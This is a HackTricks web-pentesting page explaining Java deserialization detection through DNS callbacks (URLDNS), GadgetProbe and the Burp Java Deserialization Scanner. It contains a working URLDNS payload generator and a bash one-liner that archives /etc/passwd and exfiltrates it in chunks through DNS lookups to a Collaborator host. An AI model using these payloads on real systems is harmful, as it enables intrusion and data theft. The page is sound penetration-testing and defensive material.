java-dns-deserialization-and-gadgetprobe.md (15078B)
1 --- 2 title: "Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner 14 15 ## DNS request on deserialization 16 17 The `java.net.URL` class implements `Serializable`, so instances can be included in a Java serialization stream. 18 19 ```java 20 public final class URL implements java.io.Serializable { 21 ``` 22 23 `URL` has a useful side effect for detection: host comparison may require name resolution, and both `equals()` and `hashCode()` are documented as potentially blocking operations. A lookup is not guaranteed on every invocation because the URL object and the resolver can cache results, but a deliberately prepared object can make deserialization perform a DNS lookup.<sup>[[1]](#references)[[5]](#references)</sup> 24 25 One way to reach `URL.hashCode()` is to use the URL as a `HashMap` key. While reconstructing a serialized map, `HashMap.readObject()` hashes each key: 26 27 ```java 28 private void readObject(java.io.ObjectInputStream s) 29 throws IOException, ClassNotFoundException { 30 [ ... ] 31 for (int i = 0; i < mappings; i++) { 32 [ ... ] 33 putVal(hash(key), key, value, false, false); 34 } 35 ``` 36 37 The relevant call is `hash(key)`, whose implementation invokes the key's `hashCode()` method: 38 39 ```java 40 static final int hash(Object key) { 41 int h; 42 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); 43 } 44 ``` 45 46 Consequently, deserializing a `HashMap` containing a URL key can execute `URL.hashCode()`. 47 48 The relevant part of `URL.hashCode()` is: 49 50 ```java 51 public synchronized int hashCode() { 52 if (hashCode != -1) 53 return hashCode; 54 55 hashCode = handler.hashCode(this); 56 return hashCode; 57 ``` 58 59 When the cached value is `-1`, the method delegates to the URL stream handler. The handler's calculation includes the host address: 60 61 ```java 62 protected int hashCode(URL u) { 63 int h = 0; 64 65 // Generate the protocol part. 66 String protocol = u.getProtocol(); 67 if (protocol != null) 68 h += protocol.hashCode(); 69 70 // Generate the host part. 71 InetAddress addr = getHostAddress(u); 72 [ ... ] 73 ``` 74 75 Resolving that address can emit the DNS query used as the out-of-band signal. 76 77 This dependency-free chain is commonly called **URLDNS**. A callback demonstrates that the target processed the serialization stream far enough to hash the key; it does **not** by itself provide command execution. If a separate gadget has already achieved command execution, its output can be encoded into DNS labels for exfiltration.<sup>[[1]](#references)[[7]](#references)</sup> 78 79 ### URLDNS payload code example 80 81 The canonical [ysoserial URLDNS implementation](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java) uses a temporary silent handler to avoid resolving the name while constructing the payload. Because `URL.handler` is transient, the receiving JVM reconstructs the normal handler; resetting the cached hash to `-1` makes the receiver calculate it again. The following standalone PoC preserves that behavior:<sup>[[7]](#references)</sup> 82 83 ```java 84 import java.io.File; 85 import java.io.FileInputStream; 86 import java.io.FileOutputStream; 87 import java.io.IOException; 88 import java.io.ObjectInputStream; 89 import java.io.ObjectOutputStream; 90 import java.lang.reflect.Field; 91 import java.net.InetAddress; 92 import java.net.URLConnection; 93 import java.net.URLStreamHandler; 94 import java.util.HashMap; 95 import java.net.URL; 96 97 public class URLDNS { 98 public static void GeneratePayload(Object instance, String file) 99 throws Exception { 100 //Serialize the constructed payload and write it to the file 101 File f = new File(file); 102 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 103 out.writeObject(instance); 104 out.flush(); 105 out.close(); 106 } 107 public static void payloadTest(String file) throws Exception { 108 //Read the written payload and deserialize it 109 ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); 110 Object obj = in.readObject(); 111 System.out.println(obj); 112 in.close(); 113 } 114 115 public static void main(final String[] args) throws Exception { 116 String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net"; 117 HashMap<URL, String> ht = new HashMap<>(); // HashMap that will contain the URL 118 URLStreamHandler handler = new SilentURLStreamHandler(); 119 URL u = new URL(null, url, handler); // URL to use as the Key 120 ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 121 122 // During the put above, the URL's hashCode is calculated and cached. 123 // This resets that so the next time hashCode is called a DNS lookup will be triggered. 124 final Field field = u.getClass().getDeclaredField("hashCode"); 125 field.setAccessible(true); 126 field.set(u, -1); 127 128 //Test the payloads 129 GeneratePayload(ht, "C:\\Users\\Public\\payload.serial"); 130 } 131 } 132 133 134 class SilentURLStreamHandler extends URLStreamHandler { 135 136 protected URLConnection openConnection(URL u) throws IOException { 137 return null; 138 } 139 140 protected synchronized InetAddress getHostAddress(URL u) { 141 return null; 142 } 143 } 144 ``` 145 146 On Java 9 and later, reflective access to the private `java.net.URL.hashCode` field may require launching the generator with `--add-opens java.base/java.net=ALL-UNNAMED`. The serialized payload itself remains dependency-free. Earlier detection approaches modified a Commons Collections chain to perform a DNS query; URLDNS avoids that external library dependency.<sup>[[2]](#references)[[7]](#references)</sup> 147 148 ## GadgetProbe 149 150 You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender). 151 152 **GadgetProbe** tests whether candidate Java classes appear to be present on the target's classpath. Class presence helps select chains for further validation, but does not by itself prove that a particular gadget chain is exploitable.<sup>[[3]](#references)</sup> 153 154 ### How does it work 155 156 **GadgetProbe** combines the DNS signal from the previous section with a probe for an arbitrary class. A callback is evidence that the target resolved the tested class before reaching the URLDNS key. No callback is ambiguous: the class may be absent, but DNS egress controls, caching, serialization filters, incompatible class metadata, or application behavior can also suppress the signal. Confirm findings with more than one controlled probe. 157 158 Internally, the tool uses Javassist to create an empty local class with the requested fully qualified name and serializes its `Class` object before a URL key in a `LinkedHashMap`. The insertion order is the oracle: if the receiver cannot resolve the candidate descriptor, deserialization stops before the URL is read; if resolution succeeds, map reconstruction reaches `URL.hashCode()` and the class name appears in the callback hostname. Therefore, this tests **class resolution/loadability**, not whether that class is itself `Serializable` or whether it forms a complete exploitable chain.<sup>[[3]](#references)</sup> 159 160 The repository includes [wordlists](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) of Java classes to test. 161 162  163 164 ### Reliable Burp workflow 165 166 Use a differential sequence rather than interpreting a single missing interaction. In Intruder, select the complete serialized value, supply class names as the payload list, and add the `ClassName to GadgetProbe` payload processor **before** transport processors such as Base64 and URL encoding. GadgetProbe polls its own Collaborator context and records positive class names in its tab.<sup>[[3]](#references)[[9]](#references)</sup> 167 168 1. Send an ordinary URLDNS payload with a unique hostname to validate the insertion point, decoding layers, Java deserialization path and DNS egress. 169 2. Probe a stable JRE class such as `java.lang.String` as a known-positive GadgetProbe control. 170 3. Probe a randomized nonexistent package/class as a known-negative control. 171 4. Only enumerate third-party candidates when the positive controls call back and the negative control does not. Use fresh callback names when repeating tests to reduce resolver-cache ambiguity. 172 5. Use **Copy Detect Library Wordlist** and **Detect Library Versions** to combine positive and negative marker classes into the version ranges supported by the extension.<sup>[[9]](#references)</sup> 173 174 For a non-HTTP transport, use GadgetProbe as a Java library and serialize the returned object with the protocol-specific framing or encoding:<sup>[[3]](#references)</sup> 175 176 ```java 177 GadgetProbe gp = new GadgetProbe("oast.example"); 178 Object probe = gp.getObject( 179 "org.apache.commons.collections.functors.InvokerTransformer"); 180 181 try (ObjectOutputStream out = new ObjectOutputStream( 182 new FileOutputStream("probe.bin"))) { 183 out.writeObject(probe); 184 } 185 ``` 186 187 ### From class hits to candidate chains 188 189 Treat the output as a classpath fingerprint. Confirm several marker classes, account for shaded/relocated or minimized JARs and application-specific class loaders, and then reproduce candidate chains against the inferred **JDK plus complete dependency-version combination**. A 2024 study experimentally evaluated 46 known chains over 244 JDK builds and 5,455 dependency versions and found that known chains still apply to recent releases; this also demonstrates why one class hit or one apparent library version is not proof that an RCE chain is viable.<sup>[[10]](#references)</sup> 190 191 When the application artifacts are available, [Gadgecy](https://github.com/software-engineering-and-security/Gadgecy) complements black-box probing: it can compare JAR hashes in a directory or dependencies in `pom.xml` with experimentally validated, chain-enabling version combinations.<sup>[[10]](#references)</sup> 192 193 ## Java Deserialization Scanner 194 195 This scanner can be downloaded from the Burp App Store (**Extender**). The extension has both passive and active capabilities.<sup>[[4]](#references)</sup> 196 197 ### Passive 198 199 By default, it passively checks requests and responses for Java serialization magic bytes and reports the observation. Finding the marker identifies a serialization data path; exploitability still requires validation: 200 201 <sup>[[4]](#references)</sup> 202 203 ### Active 204 205 **Manual Testing** 206 207 You can select a request, right click and `Send request to DS - Manual Testing`.\ 208 Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used). 209 210 <sup>[[4]](#references)</sup> 211 212 Although the feature is called "Manual testing", it automates multiple active checks using ysoserial payloads and highlights observed timing or DNS signals. Available checks include Java sleep calls, CPU-consumption delays, and DNS callbacks. These probes deserialize attacker-controlled object graphs and may trigger gadget side effects, so use them only against systems you are authorized to test. 213 214 **Exploiting** 215 216 Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\ 217 In this tab, select the injection point again, specify the candidate gadget chain and command, and press the appropriate **Attack** button. 218 219 <sup>[[4]](#references)</sup> 220 221 ### Java deserialization DNS exfiltration 222 223 After a separate gadget chain has achieved command execution, a payload can exfiltrate data through DNS labels. The following example archives `/etc/passwd`, hex-encodes the stream into 31-byte chunks, and resolves each numbered chunk: 224 225 ```bash 226 (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) 227 ``` 228 229 ## Defensive guidance 230 231 Do not deserialize untrusted native Java serialization streams. Where legacy compatibility makes that impossible, apply a narrow `ObjectInputFilter` allowlist and graph-size limits, and remember that class filters reduce exposure rather than making unsafe object graphs intrinsically safe. JEP 290 introduced JVM-wide and per-stream filtering in Java 9, while JEP 415 added context-specific filter factories in Java 17.<sup>[[6]](#references)[[8]](#references)</sup> 232 233 234 ## References 235 236 - [1] [Triggering a DNS lookup using Java deserialization](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) 237 - [2] [Detecting deserialization bugs with DNS exfiltration](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) 238 - [3] [Bishop Fox GadgetProbe source and usage documentation](https://github.com/BishopFox/GadgetProbe) 239 - [4] [Reliable discovery and exploitation of Java deserialization vulnerabilities](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) 240 - [5] [Java Platform API — `java.net.URL`](https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/net/URL.html) 241 - [6] [JEP 290: Filter Incoming Serialization Data](https://openjdk.org/jeps/290) 242 - [7] [ysoserial URLDNS payload source](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java) 243 - [8] [JEP 415: Context-Specific Deserialization Filters](https://openjdk.org/jeps/415) 244 - [9] [GadgetProbe — PortSwigger BApp Store](https://portswigger.net/bappstore/e20cad259d73403bba5ac4e393a8583f) 245 - [10] [Analyzing Prerequisites of Known Deserialization Vulnerabilities on Java Applications](https://www.abartel.net/static/p/ease2024-javaDeser.pdf)